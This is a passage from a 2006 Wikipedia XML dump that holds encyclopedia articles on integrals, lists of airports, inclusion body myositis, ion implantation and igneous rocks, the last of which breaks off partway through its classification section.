* The [[Henstock-Kurzweil integral]], an extension of both the Riemann and Lebesgue integrals (also called HK-integral).
* The [[Henstock-Kurzweil-Stieltjes integral]] (also called HK-Stieltjes integral).
* The [[Lebesgue-Stieltjes integral]] (also called Lebesgue-Radon integral).
* The [[Perron integral]], which is equivalent to the restricted [[Denjoy integral]].
* The [[Riemann-Stieltjes integral]], an extension of the Riemann integral.

== Definitions by means of an integral ==
Several mathematical functions and constants can be defined by using an integral. The [[natural logarithm]] is usually defined as 
:&lt;math&gt;\ln x = \int_1^x \! {dt\over t}.&lt;/math&gt;  
The mathematical constant ''e'' may then be defined as the number such that
:&lt;math&gt;\ln e  =\int_1^e \! {dt\over t} = 1.&lt;/math&gt;

== See also == 
* [[Lists of integrals]]
* [[Multiple integral]] (integrals for functions of more than one variable)
* [[Integral (examples)]]
* [[Antiderivative]]

== External links ==
* [http://www.cut-the-knot.org/Curriculum/Calculus/RiemannSums.shtml Riemann Sums - Function Integration (a Java simulation)] at [[cut-the-knot]]
* [http://www.cut-the-knot.org/Curriculum/Calculus/CubicSpline.shtml Function, Derivative and Integral (a Java simulation)] at [[cut-the-knot]]
* [http://integrals.wolfram.com/ The Integrator] by [[Wolfram Research]]
* [http://wims.unice.fr/wims/wims.cgi?module=tool/analysis/function.en Function Calculator] from [[WIMS]]
* P.S. Wang, [http://www.lcs.mit.edu/publications/specpub.php?id=660 Evaluation of Definite Integrals by Symbolic Manipulation] (1972) - a cookbook of definite integral techniques
* [http://en.wikibooks.org/wiki/Calculus Wikibook of Calculus]

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      <timestamp>2006-03-03T22:05:13Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">* By [[International Air Transport Association|IATA]] code: [[List of airports by IATA code: A|A]] - [[List of airports by IATA code: B|B]] - [[List of airports by IATA code: C|C]] - [[List of airports by IATA code: D|D]] - [[List of airports by IATA code: E|E]] - [[List of airports by IATA code: F|F]] - [[List of airports by IATA code: G|G]] - [[List of airports by IATA code: H|H]] - [[List of airports by IATA code: I|I]] - [[List of airports by IATA code: J|J]] - [[List of airports by IATA code: K|K]] - [[List of airports by IATA code: L|L]] - [[List of airports by IATA code: M|M]] - [[List of airports by IATA code: N|N]] - [[List of airports by IATA code: O|O]] - [[List of airports by IATA code: P|P]] - [[List of airports by IATA code: Q|Q]] - [[List of airports by IATA code: R|R]] - [[List of airports by IATA code: S|S]] - [[List of airports by IATA code: T|T]] - [[List of airports by IATA code: U|U]] - [[List of airports by IATA code: V|V]] - [[List of airports by IATA code: W|W]] - [[List of airports by IATA code: X|X]] - [[List of airports by IATA code: Y|Y]] - [[List of airports by IATA code: Z|Z]]

* By [[International Civil Aviation Organization|ICAO]] code: [[List of airports by ICAO code: A|A]] - [[List of airports by ICAO code: B|B]] - [[List of airports by ICAO code: C|C]] - [[List of airports by ICAO code: D|D]] - [[List of airports by ICAO code: E|E]] - [[List of airports by ICAO code: F|F]] - [[List of airports by ICAO code: G|G]] - [[List of airports by ICAO code: H|H]] - [[List of airports by ICAO code: I|I]] - [[List of airports by ICAO code: J|J]] - [[List of airports by ICAO code: K|K]] - [[List of airports by ICAO code: L|L]] - [[List of airports by ICAO code: M|M]] - [[List of airports by ICAO code: N|N]] - [[List of airports by ICAO code: O|O]] - [[List of airports by ICAO code: P|P]] - [[List of airports by ICAO code: Q|Q]] - [[List of airports by ICAO code: R|R]] - [[List of airports by ICAO code: S|S]] - [[List of airports by ICAO code: T|T]] - [[List of airports by ICAO code: U|U]] - [[List of airports by ICAO code: V|V]] - [[List of airports by ICAO code: W|W]] - [[List of airports by ICAO code: X|X]] - [[List of airports by ICAO code: Y|Y]] - [[List of airports by ICAO code: Z|Z]]

* [[List of airports in North America]]

* [[Lists of military bases]]

* By country: see [[:Category:Lists of airports]]

* By metropolitan area: see [[:Category:Local airport lists]]

''See also:'' [[Latitude and longitude of airports near U.S. cities]]

==References==
* The [http://www.brusselsairport.be/airports_web/en_allairports.cfm?order=code Brussels Airport] website has an alternative list which contains some airports not included in the lists above.
* [http://www.aircraft-charter-world.com/  Airport Charter World] is an air charter company that has a comprehensive list with a clickable map. 

==External links==
* [http://www.airnav.com/airports/ AirNav.com] - complete list of U.S. airports, with detailed airport information
* [http://www.airportcitycodes.com/ AirportCityCodes] - Airport Code search, Distance Calculator
* [http://www.quickaid.com/ QuickAid Airport Directory] - Hotel and services for many US Airports plus links to major airport official websites
* [http://www.nationsonline.org/oneworld/airport_code.htm Airport Code List]
* [http://www.azworldairports.com/index.htm A-Z World Airports]
* [http://www.uk-airport-news.info UK Airport News]
* [http://www.africaspotter.at.tt AFRICASPOTTER.at.tt] - Airports in Southern Africa
* [http://www.world-airport-codes.com World Airport Codes] - Useful site showing all airports in the world
* [http://www.numlink.com/ Airport satellite images]
* [http://www.airfields-freeman.com/ List of abandoned and little-known airfields in the United States]

[[Category:Lists of airports| ]]

[[de:Liste der Verkehrsflughäfen]]
[[es:Lista de aeropuertos del mundo]]
[[fr:Liste des aéroports]] 
[[it:Codice aeroportuale IATA]]
[[nl:Lijst van vliegvelden]]
[[pl:Porty lotnicze &amp;#347;wiata]]
[[ro:List&amp;#259; de aeroporturi din Rom&amp;#226;nia]]
[[ru:&amp;#1057;&amp;#1087;&amp;#1080;&amp;#1089;&amp;#1086;&amp;#1082; &amp;#1072;&amp;#1101;&amp;#1088;&amp;#1086;&amp;#1087;&amp;#1086;&amp;#1088;&amp;#1090;&amp;#1086;&amp;#1074;]]
[[ja:&amp;#19990;&amp;#30028;&amp;#12398;&amp;#31354;&amp;#28207;&amp;#19968;&amp;#35239;]]</text>
    </revision>
  </page>
  <page>
    <title>Inclusion body myositis</title>
    <id>15538</id>
    <revision>
      <id>41942135</id>
      <timestamp>2006-03-02T19:59:41Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Inclusion body myositis |
  ICD10       = |
  ICD9        = {{ICD9|728.89}} |
}}
'''Inclusion body myositis''' ('''IBM''') is an [[inflammation|inflammatory]] [[muscle]] [[disease]], characterized by slowly progressive wasting and weakness of the [[arm]]s and [[Human leg|legs]]. Two features characterize the sIBM muscle, profound [[inflammation]] and protein abnormalities within the muscle cells. The inflammation aspect is similar to [[polymyositis]] however, polymyositis does not display many of the abnormal [[Cell (biology)||cellular]] changes seen in sIBM. Additionally, in contrast with polymyositis(PM), sIBM affects men more than women and is resistant to treatment (PM often responds well). Symptoms usually begin after 50 years of age. There is no effective treatment for the disease.

Sporadic inclusion body myositis [MY-oh-sigh-tis] (sIBM) is a disease of the muscle cells. The muscle cells somehow become abnormal and the [[immune system]] kills them, weakening the muscles. Its name comes form the fact that the muscles in sIBM are characterized by &quot;inclusion bodies&quot; within the cells. sIBM is a rare disease, diagnosed in only about 5 people per million, although not much research exists on the number of cases and some doctors feel the numbers are much higher. It is more common in men (2 to 3 males to 1 female). sIBM is an age-related disease - as we get older it gets more and more common. It usually appears after the age of 50 and is the most common acquired muscle disorder seen in older people although about 20% of cases display symptoms before the age of 50. Weakness comes on slowly and progresses steadily and may lead to severe weakness and wasting of arm and leg muscles. Patients may become unable to perform daily living activities and be confined to [[wheelchair]]s. sIBM is not considered a [[fatal]] disorder - all things being equal, sIBM will not kill you (but the risk of serious injury due to falls is increased).

==Symptoms==
How sIBM affects individuals is quite variable as is the age of onset (which varies from the forties upwards). Because sIBM affects different people in different ways and at different rates, there is no textbook case. 

Eventually, sIBM results in general, progressive muscle weakness. Usually, the muscles initially afflicted by sIBM are those in the arms and legs, resulting in difficulty performing various everyday tasks, such as getting out of chairs. Another common and distinct characteristic of sIBM is an early and severe weakening of the finger [[flexor muscle]]s, leading to difficulties in grasping and holding on to things..

During the course of the illness, the patient's mobility is progressively restricted as it becomes hard for them to bend down, reach for things, walk quickly and so on. Many patients say they have balance problems and fall easily, as the muscles cannot compensate for an off-balanced posture. Because sIBM makes the leg muscles weak and unstable, patients are very vulnerable to serious injury from tripping or falling down.

In up to 33 to 50 percent of cases, patients with sIBM develop weakness in the [[pharyngeal muscle]]s, used in swallowing.

Patients with sIBM eventually need to resort to a cane or a walker. In most cases, a wheelchair eventually becomes a necessity, usually within 5 to 10 years from initial diagnosis.

From a recent article: &quot;The progressive course of s-IBM leads slowly to severe disability. Finger functions can become very impaired, such as for manipulating pens, keys, buttons, and zippers, pulling handles, and firmly grasping handshakes. Arising from a chair becomes difficult. Walking becomes more precarious. Sudden falls, sometimes resulting in major injury to the skull or other bones, can occur, even from walking on minimally-irregular ground or from other minor imbalances outside or in the home, due to weakness of quadriceps and gluteus muscles depriving the patient of automatic posture maintenance. A foot-drop can increase the likelihood of tripping. [[Dysphagia]] can occur, usually caused by upper esophageal constriction that often can be symptomatically improved, for several months to years, by bougie dilation per a GI or ENT physician. Respiratory muscle weakness can sometimes eventuate.&quot; W. King Engel, and Valerie Askanas NEUROLOGY 2006;66(Suppl 1): S20–S29

==Causes==
The causes, of sIBM are currently unknown, though it is likely that the affliction results from the interaction of a number of factors, both genetic and environmental. 

It appears that in people with sIBM, the muscle cells display “flags” telling the immune system that they are infected or damaged and the immune system attacks the cells and kills them, which would label it as an [[autoimmune disorder]]. One confusing aspect is that medications that lower the immune response do not improve sIBM symptoms, as should happen in the case of an autoimmune disorder. 

There are also many abnormal [[protein]] changes within the muscle cells. Some researchers believe it is these protein changes that are primary and that precced or trigger the abnormal immune response.

From a recent article: &quot;Two hypotheses predominate regarding the key pathogenic mechanisms involved in s-IBM: an amyloid-b-related degenerative process and an immune dysregulation. Ultimately, both may be considered important, and their possible interrelationship may be clarified. An intriguing feature is the accumulation within s-IBM muscle fibers of [[amyloid-beta]] (Ab), [[phosphorylated]] [[tau protein]], and at least 20 other proteins that are also accumulated in [[Alzheimer]] brain. In the s-IBM muscle fibers, there is evidence of misfolding of proteins, pathologic proteinaceous inclusions including aggresomes, abnormalities of the two protein-disposal systems involving the [[ubiquitin]] [[proteasome]] pathway and the [[lysosomes]], [[mitochondrial]] dysfunctions, and [[oxidative stress]]. The pronounced T-cell inflammation can be striking, and it is characterized by activated, antigen-driven, cytotoxic [[CD8]]+ [[T-cells]].&quot;
Askanas V, Dalakas MC, Engel WK. NEUROLOGY 2006;66(Suppl 1): Si

==Diagnosis==
The term “inclusion body myositis” was originally introduced in [[1971]]. Over the ensuing 35 years, s-IBM has been increasingly recognized and reported, mainly due to increased awareness by doctors and because of improved diagnostic tests. In spite of much progress, sIBM is still often difficult to diagnose and many patients are initially misdiagnosed, often with another inflammatory muscle disorder called polymyositis.

A diagnosis is based on clinical signs and testing. The first common clinical signs are falling down and tripping and weakness in the finger flexors - the muscles involved in grip. Several different tests may be done to help diagnose sIBM including a blood test of the level of [[creatine kinase]] (CK) (also known as phosphocreatine kinase or creatine phosphokinase (CPK)). This is an [[enzyme]] in the [[blood]] produced when muscle cells are damaged, normally by the ordinary wear and tear of everyday life. Elevated levels indicate that abnormal muscle damage has occurred, or is occurring. Typically, in sIBM, CK values are about 10 times normal levels. An [[electromyography]] (EMG) is often done. In this test, a small electric current is put into a muscle and a machine records how the muscle responds. 

The best test to diagnose sIBM is a [[muscle biopsy]] (MBx). A small piece of muscle is surgically removed and then is studied in the laboratory. Several major changes in the muscle cells are usually visible that are characteristic of sIBM:
*Inflammation is present and inflammatory cells are seen invading the muscle cells
*Holes (&quot;[[vacuoles]]&quot;) appear in the muscle fibers (&quot;vacuolar degeneration&quot;)
*Inclusions (&quot;clumps&quot; of material) are found inside the muscle fibers, these are associated with the build-up of several different abnormal proteins, including [[tau protein]] and beta [[amyloid]].
*There are twisted, abnormal protein strands called &quot;paired-helical filaments&quot; (PHFs). PHFs contain a protein called phosphorylated tau that shows up when the muscle is tested with an stain called SMI-31 monoclonal [[antibody]] – this test recognizes p-tau of the PHFs within s-IBM muscle fibers and in the AD brain. 
*Another abnormal protein is called [[ubiquitin]]. Inclusions containing ubiquitin can usually be seen in the muscle biopsies of sIBM patients, but they do not appear in any other muscle illnesses (e.g., not in polymyositis).

Weakness and wasting (shrinkage) in the [[quadriceps]] along with the finger flexor muscles and a CK level of about ten times normal are findings suggestive of sIBM. These findings are then often confirmed with a muscle biopsy.

==Treatment==
There have been several attempts to use different medications to treat sIBM but in clinical trials, none has been shown to be effective. No medication has ever been developed specifically for sIBM.

==Other Directly Related Disorders==
There are several other rare genetic forms of muscle illness related to sIBM, called inclusion body myopathy (myopathies). In these forms, inflammation ([[myositis]]) is not a major feature of the muscle cells (myopathy just means diseased muscle). These illnesses are inherited, but different types are inherited in different ways. About one case of inclusion body myopathy is seen for every ten cases of sporadic inclusion body myositis. See [[hereditary inclusion body myopathy]]

==Other Related Disorders==
When sIBM was originally described, the major feature was muscle inflammation. Two other disorders were also known to display muscle inflammation, so sIBM was classified along with them. They are [[dermatomyositis]] (DM) and [[polymyositis]] (PM) and all three illnesses were called idiopathic inflammatory myositis or inflammatory myopathies (idiopathic means they don’t know what causes it). It appears that sIBM and [[polymyositis]] share some common features, especially the initial sequence of immune system activation, however, polmyositis does not display the subsequent protein abnormalities seen in IBM. As well, polymyositis tends to respond well to treatments, IBM does not. IBM and polymyositis apparently involve different disease mechanisms than are seen in [[dermatomyositis]].

==External links and references==
*[http://members.shaw.ca/btillieribm/ Page by a patient]
*[http://www.myositissupportgroup.org/IBM/ Patient support group]
Latest review: January 2006
Twenty two articles resulted from a conference held on inclusion body myositis (s-IBM) - Inclusion-body myositis: Clinical and pathologic aspects, and basic research potentially relevant to treatment. January 26-28, 2005 in Santa Monica. The TMA funded the Conference and the Muscular Dystrophy Association assisted by funding the printing and distribution of the Conference report. The 22 articles were published in electronic format as an Expedited E-Pub at www.neurology.org on December 16, 2005. They appear in print in Neurology Volume 66(2) Supplement 1 January 24, 2006. [http://members.shaw.ca/btillieribm/2006supp.htm]

[[Category:Muscular disorders]]</text>
    </revision>
  </page>
  <page>
    <title>Ion implantation</title>
    <id>15539</id>
    <revision>
      <id>35076496</id>
      <timestamp>2006-01-13T23:02:45Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">'''Ion implantation''' is a [[materials engineering]] process by which [[ion (physics)|ion]]s of a material can be implanted into another solid, thereby changing the physical properties of the solid. Ion implantation is used in [[Fabrication (semiconductor)|semiconductor device fabrication]] and in metal finishing, as well as various applications in [[materials science]] research. The ions introduce both a chemical change in the target, in that they can be a different element than the target, and a structural change, in that the [[crystal structure]] of the target can be damaged or even destroyed.

[[image:ion_implanter_schematic.png|thumb|Ion implantation setup with mass separator]]

Ion implantation equipment typically consists of an [[ion source]], where ions of the desired element are produced, an accelerator, where the ions are electrostatically accelerated to a high energy, and a target chamber, where the ions impinge on a target, which is the material to be implanted. Each ion is typically a single atom, and thus the actual amount of material implanted in the target is the integral over time of the ion current. This amount is called the dose. The currents supplied by implanters are typically small (microamperes), and thus the dose which can be implanted in a reasonable amount of time is small. Thus, ion implantation finds application in cases where the amount of chemical change required is small.

Typical ion energies are in the range of 10 to 500 [[electronvolt|keV]] (1,600 to 80,000 aJ). Energies in the range 1 to 10 keV (160 to 1,600 aJ) can be used, but result in a penetration of only a few nanometers or less. Energies lower than this result in very little damage to the target, and fall under the designation [[ion beam deposition]]. Higher energies can also be used: accelerators capable of 5 MeV (800,000 aJ) are common. However, there is often great structural damage to the target, and because the depth distribution is broad, the net composition change at any point in the target will be small.

The energy of the ions, as well as the ion species and the composition of the target determine the depth of penetration of the ions in the solid: A monoenergetic ion beam will generally have a broad depth distribution. The average penetration depth is called the range of the ions. Under typical circumstances ion ranges will be between 10 nanometers and 1 micrometer. Thus, ion implantation is especially useful in cases where the chemical or structural change is desired to be near the surface of the target. Ions gradually lose their energy as they travel through the solid, both from occasional collisions with target atoms (which cause abrupt energy transfers) and from a mild drag from overlap of electron orbitals, which is a continuous process. The loss of ion energy in the target is called stopping.

==Application in [[Fabrication (semiconductor)|semiconductor device fabrication]]==
===[[Doping (semiconductor)|Doping]]===
The introduction of dopants in a semiconductor is the most common application of ion implantation. Dopant ions such as boron, phosphorus or arsenic are generally created from a gas source, so that the purity of the source can be very high. These gases tend to be very hazardous. When implanted in a semiconductor, each dopant atom creates a charge carrier in the semiconductor (hole or electron, depending on if it is a p-type or n-type dopant), thus modifying the conductivity of the semiconductor in its vicinity.

===[[Silicon on insulator]]===
SOI wafers are produced by one of two main methods, both of which rely on ion implantation:

*''SIMOX'' - '''S'''eparation by '''IM'''plantation of '''OX'''ygen: Oxygen can be implanted at high energy into a silicon substrate, at a high enough dose that subsequent high temperature annealing forms an oxide layer underneath the surface layer of silicon. The oxide is an insulator, thus producing a silicon on insulator (SOI) structure.

*''Smartcut'': First, oxidized surfaces are grown on two wafers, and then bonded together.  Most of the top wafer is then [[cleavage (crystal)|cleaved]] away along a band of [[hydrogen]] bubbles which form from implanted ions. The thin layer of silicon that is left behind is isolated from the substrate by what were originally the surface oxide layers.

===Mesotaxy===
Mesotaxy is the term for the growth of a crystallographically matching phase underneath the surface of the host crystal (compare to [[epitaxy]], which is the growth of the matching phase on the surface of a substrate). In this process, ions are implanted at a high enough energy and dose into a material to create a layer of a second phase, and the temperature is controlled so that the crystal structure of the target is not destroyed. The crystal orientation of the layer can be engineered to match that of the target, even though the exact crystal structure and lattice constant may be very different . For example, after the implantation of nickel ions into a silicon wafer, a layer of nickel silicide can be grown in which the crystal orientation of the silicide matches that of the silicon.

==Application in metal finishing==
===Tool steel toughening===
Nitrogen or other ions can be implanted into a tool steel target (drill bits, for example). The structural change caused by the implantation produces a surface compression in the steel, which prevent crack propagation and thus makes the material more resistant to fracture. The chemical change can also make the tool more resistant to corrosion.

===Surface finishing===
In some applications, for example prosthetic devices such as artificial joints, it is desired to have surfaces very resistant to both chemical corrosion and wear due to friction. Ion implantation is used in such cases to engineer the surfaces of such devices for more reliable performance. As in the case of tool steels, the surface modification caused by ion implantation includes both a surface compression which prevents crack propagation and an alloying of the surface to make it more chemically resistant to corrosion.

==Other issues in ion implantation==
===Crystallographic damage===
Each individual ion produces many point defects in the target crystal on impact such as vacancies and interstitials. Vacancies are crystal lattice points unoccupied by an atom: in this case the ion collides with a target atom, resulting in transfer of a significant amount of energy to the target atom such that it leaves its crystal site. This target atom then itself becomes a projectile in the solid, and can cause successive collision events. Interstitials result when such atoms (or the original ion itself) come to rest in the solid, but find no vacant space in the lattice to reside. These point defects can migrate and cluster with each other, resulting in dislocation loops and other defects.

===Damage recovery=== 

Because ion implantation causes damage to the crystal structure of the target which is often unwanted, ion implantation processing is often followed by a thermal annealing. This can be referred to as damage recovery.

===Amorphization===
The amount of crystallographic damage can be enough to completely amorphize the surface of the target: i.e. it can become an [[amorphous solid]] (such a solid produced from a melt is called a [[glass]]). In some cases, complete amorphization of a target is preferable to a highly defective crystal: An amorphized film can be regrown at a lower temperature than required to anneal a highly damaged crystal.

===[[Sputtering]]===
Some of the collision events result in atoms being ejected from the surface, and thus ion implantation will slowly etch away a surface. The effect is only appreciable for very large doses.

===Ion channelling===
[[image:Diamsm.gif|framed|right|A diamond cubic crystal viewed from the [[Crystallography#Notation|&lt;110&gt;]] direction, showing hexagonal ion channels.]]

If there is a crystallographic structure to the target, and especially in semiconductor substrates where the crystal structure is more open, particular crystallographic directions offer much lower stopping that other directions. The result is that the range of an ion can be much longer if the ion travels exactly along a particular direction, for example the &lt;110&gt; direction in silicon and other [[diamond cubic]] materials. This effect is called ''ion channelling''.  The effect is highly nonlinear, with small variations from perfect orientation resulting in extreme differences in implantation depth.  For this reason, most implantation is carried out a few degrees off-axis, where tiny alignment errors will have more predictable effects.  There is no relation between this effect and [[ion channel]] of a cell membrane.  

Ion channelling can be used directly in [[Rutherford backscattering]] and related techniques as an analytical method to determine the amount and depth profile of damage in crystalline thin film materials.

== Hazardous materials note==
In the ion implantation semiconductor fabrication process of [[Wafer (electronics)|wafers]], it is important for the workers to minimize their exposure to the [[toxic]] materials used in the ion implanter process. Such hazardous elements, solid source and gasses are used, such as [[arsenic]]. For this reason, the [[semiconductor fabrication]] facilities are highly automated. Other elements may include [[Antimony]], [[phosphine]], and [[boron]]. Residue of these elements show up when the machine is opened to atmosphere, and can also be accumulated and found concentrated in the vacuum pumps hardware. It is important not to expose yourself to these [[Carcinogen|Carcinogenic]] , [[Corrosion|corrosive]] , [[flammable]] , and [[Toxicity|toxic]] elements. Use safety, and do read [[Material safety data sheet|MSDS's]]. 

=== High Voltage safety===
There is also potential for electrocution, death by [[Electric shock|electric shock]], in the [[Ion source]] area, and [[Quadrupole magnet|steering magnet]] and focusing lens power supplies. Make sure all [[High voltage|high voltage potentials hazards]] are off, and discharged.

== Manufacturers of Ion Implantation Equipment ==
*[http://www.amat.com Applied Materials]
*[http://www.axcelis.com Axcelis Technologies]
*[http://www.nissin-ion.co.jp Nissin Ion Equipment (Japanese)]
*[http://www.senova.com Sumitomo Eaton Nova (Japanese)]
*[http://www.ulvac.com Ulvac]
*[http://www.vsea.com Varian Semiconuductor]

== External links ==
*[http://www.casetechnology.com/implant.html Ion Implantation]

[[Category:Materials science]]
[[Category:Semiconductor device fabrication]]

[[de:Ionenimplantation]]</text>
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  </page>
  <page>
    <title>Igneous rock</title>
    <id>15540</id>
    <revision>
      <id>42067211</id>
      <timestamp>2006-03-03T16:12:54Z</timestamp>
      <contributor>
        <username>Maxamegalon2000</username>
        <id>410083</id>
      </contributor>
      <comment>Revert to revision 41564755 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:North america rock volcanic.jpg|thumb|right|Volcanic rock on [[North America]] ]]
[[Image:North america rock plutonic.jpg|thumb|right|Plutonic rock on [[North America]] ]]

'''Igneous rocks''' are formed when molten [[rock (geology)|rock]] ([[magma]]) cools and solidifies, with or without [[crystal]]lization, either below the surface as [[Intrusion|intrusive]] (plutonic) rocks or on the surface as [[extrusive (geology)|extrusive]] ([[Volcanic rock|volcanic]]) rocks. This magma can be derived from either the [[Earth]]'s [[mantle (geology)|mantle]] or pre-existing rocks made molten by extreme temperature and pressure changes. Over 700 types of igneous rocks have been described, most of them formed beneath the surface of the Earth's [[crust (geology)|crust]]. The word &quot;igneous&quot; is derived from the [[Latin]] ''ignis'', meaning &quot;fire&quot;.

==Magma origination==
The Earth's crust is about 35 kilometers thick under the [[Continental crust|continents]], but averages only some 7-10 kilometers beneath the [[Oceanic crust|oceans]]. The continental crust is composed primarily of crystalline ''basement''; stable igneous and metamorphic rocks such as [[granulite]], [[granite]] and various other intrusive rocks. Oceanic crust is composed primarily of [[basalt]], [[gabbro]] and [[peridotite]]. 

The crust floats on the [[asthenosphere|asthenospheric mantle]], which is convecting due to the forces of [[plate tectonics]]. The [[mantle (geology)|mantle]], which extends to a depth of nearly 3,000 kilometers is the source of all magma.  Most of the magma which forms igneous rocks is generated within the upper parts of the mantle at temperatures estimated between 600 to 1600 &amp;deg;C.  

Melting of rocks requires temperature, water and pressure. The mantle is generally over 1000 to 1200 &amp;deg;c beneath the crust, at depths of between 7 and 70km. However, most magma is generated at depths of between 20 and 50 km. Melting begins because of upwelling of hot mantle from deeper portions of the earth, nearer the [[Planetary core]]; because of water driven off subducted oceanic crust at [[subduction zone]]s (providing water to lower the melting point of the rocks) and because of decompression caused by [[rift (geology)|rifting]]. 

Melting of the continental crust occurs rarely because it is usually dry, and composed of minerals and rocks which are resistant to melting such as [[pyroxene]] [[granulite]]. However, addition of heat from the mantle or from [[mantle plume]]s, subduction related compression and burial as well as some rifting, can prompt the continental crust to melt. 

As magma cools, [[mineral]]s [[crystallize]] from the melt at different temperatures ([[fractional crystallization]]). There are relatively few minerals which are important in the formation of igneous rocks. This is because the magma from which the minerals crystallize is rich in only certain elements: [[silicon]], [[oxygen]], [[aluminium]], [[sodium]], [[potassium]], [[calcium]], [[iron]], and [[magnesium]]. These are the elements which combine to form the [[silicate minerals]], which account for over ninety percent of all igneous rocks.

[[Bowen's reaction series]] is important for understanding the idealised sequence of fractional crystallisation of a magma.

Igneous rocks make up approximately ninety five percent of the upper part of the Earth's crust, but their great abundance is hidden on the Earth's surface by a relatively thin but widespread layer of sedimentary and metamorphic rocks.

Igneous rock are geologically important because:

* their minerals and global chemistry gives information about the composition of the mantle, from where some igneous rocks are extracted, and the temperature and pressure conditions that allowed this extraction, and/or of other pre-existing rock that melted;
* their absolute ages can be obtained from various forms of [[radiometric dating]] and thus can be compared to adjacent geological [[stratum|strata]], allowing a time sequence of events;
* their features are usually characteristic of a specific tectonic environment, allowing tectonic reconstitutions (see [[plate tectonics]]);
* in some special circumstances they host important mineral deposits ([[ore]]s): for example, [[tungsten]], [[tin]], and [[uranium]], are commonly associated with [[granite]]s.

==Morphology and Setting==
In terms of modes of occurrence, igneous rocks can be either [[intrusion|intrusive]] (plutonic) or [[extrusive (geology)|extrusive]] ([[volcanic rock|volcanic]]).

===Intrusive Igneous Rocks===
Intrusive igneous rocks are formed from magma that cools and solidifies within the earth. Surrounded by pre-existing rock (called country rock), the magma cools slowly, and as a result these rocks are coarse grained. The mineral grains in such rocks can generally be identified with the naked eye. [[Intrusion (geology)|Intrusive]] rocks can also classified according to the shape and size of the intrusive body and its relation to the other formations into which it intrudes. Typical intrusive formations are [[batholith]]s, stocks, [[laccolith]]s, [[Sill (geology)|sill]]s and [[dike (geology)|dikes]]. The extrusive types usually are called lavas.

The central cores of major mountain ranges consist of intrusive igneous rocks, usually granite. When exposed by erosion, these cores (called ''[[batholith]]s'') may occupy huge areas of the surface.

Coarse grained intrusive igneous rocks which form at depth within the earth are termed as abyssal; intrusive igneous rocks which form near the surface are termed ''hypabyssal''.

===Extrusive Igneous Rocks===
Extrusive igneous rocks are formed at the Earth's surface as a result of the melting of rocks within the [[mantle (geology)|mantle.]] 

The melted rock, called [[magma]] rises due to contrasting density with the surrounding mantle. When it reaches the surface, magma extruded onto the surface either beneath water or air, is called [[lava]]. Eruptions of volcanoes under the air are termed ''subaerial'' whereas those occurring underneath the ocean are termed ''submarine''. [[Black smokers]] and mid ocean ridge basalt are examples of submarine volcanic activity.

Magma which erupts from a [[volcano]] behaves according to its temerature and composition, which cause a highly different range of [[viscosity]]. High temperature magma, which is usually basaltic in composition, behaves in a manner similar to thick oil and, as it cools, treacle. This forms [[pahoehoe]] type lava. Intermediate composition magma such as [[andesite]] tends to form cinder cones of intermingled ash, tuff and lava, and may have viscosity similar to thick, cold mollasses or even rubber when erupted. Felsic magma such as rhyolite is usually erupted at low temperature and is up to 10,000 times as viscous as basalt. These volcanoes rarely form lava flows, and usually erupt explosively.

Felsic and intermediate rocks which erupt at surface often do so violently, with explosions driven by release of gases such as [[carbon dioxide]] trapped in the magma. Such volcanic deposits are called [[pyroclastic]] deposits, and include [[tuff]], [[agglomerate]] and [[ignimbrite]]. Fine [[volcanic ash]] is also erupted and forms ash tuff deposits which can often cover vast areas. 

Because lava cools and crystallizes rapidly, it is fine grained. If the cooling has been so rapid as to prevent the formation of even small crystals the resulting rock may be a glass (such as the rock [[obsidian]]). 

Because of this fine grained texture it is much more difficult to distinguish between the different types of extrusive igneous rocks than between different types of intrusive igneous rocks. Generally, the mineral constituents of fine grained extrusive igneous rocks can only be determined by examination of thin sections of the rock under a microscope, so only an approximate classification can usually be made in the field.

==Classification==
Igneous rock are classified according to mode of occurrence, texture, chemical composition, and the geometry of the igneous body. 

The classification of the many types of different igneous rocks can provide us with important information about the conditions under which they formed. Two important variables used for the classification of igneous rocks are particle size, which largely depends upon the cooling history, and the mineral composition of the rock. [[Feldspar]]s, [[quartz]], [[olivine]]s, [[pyroxene]]s, [[amphibole]]s, and [[mica]]s are all important minerals in the formation of igneous rocks, and they are basic to the classification of these rocks. All other minerals present are regarded as nonessential (called ''accessory minerals'').

In a simplified classification, igneous rock types are separated on the basis of the type of feldspar present, the presence or absence of quartz, and in rocks with no feldspar or quartz, the type of iron or magnesium minerals present.

Igneous rocks which have crystals large enough to be seen by the naked eye are called phaneritic; those with crystals too small to be seen are called aphanitic. Generally speaking, phaneritic implies an intrusive origin; aphanitic an extrusive one.

The crystals embedded in fine grained igneous rocks are termed porphyritic. The porphyritic texture develops when some of the crystals grow to considerable size before the main mass of the magma consolidates into the finer grained uniform material.

===Texture===
:'' main article [[Rock microstructure]]''

Texture is an important criterion for the naming of volcanic rocks. The [[rock microstructure|texture]] of volcanic rocks, including  the size, shape, orientation, and distribution of grains and the intergrain relationships, will determine whether the rock is termed a [[tuff]], a [[pyroclastic]] lava or a simple [[lava]].

However, the texture is only a subordinate part of classifying volcanic rocks, as most often there needs to be chemical information gleaned from rocks with extremely fine-grained groundmass or which are airfall tuffs which may be formed from [[volcanic ash]]. 

Textural criteria are less critical in classifying intrusive rocks where the majority of minerals will be visible to the naked eye or at least using a hand lens, magnifying glass or microscope. Plutonic rocks tend also to be less texturally varied and less prone to gaining structural fabrics. Textural terms can be used to differentiate different intrusive phases of large plutons, for instance [[porphyritic]] margins to large intrusive bodies, [[Porphyry (geology)|porphyry]] stocks and subvolcanic apophyses. Mineralogical classification is used most often to classify plutonic rocks and chemical classifications are preferred to classify volcanic rocks, with phenocryst species used as a prefix, eg; &quot;olivine-bearing picrite&quot; or &quot;orthoclase-phyric rhyolite&quot;. 

* see also [[List of rock textures]]

===Chemical Classification===
Igneous rocks can be classified according to  chemical or mineralogical parameters:

Chemical - Total alkali - silica content (TAS diagram) for [[volcanic rock]] classification used when modal or mineralogic data is unavailable:
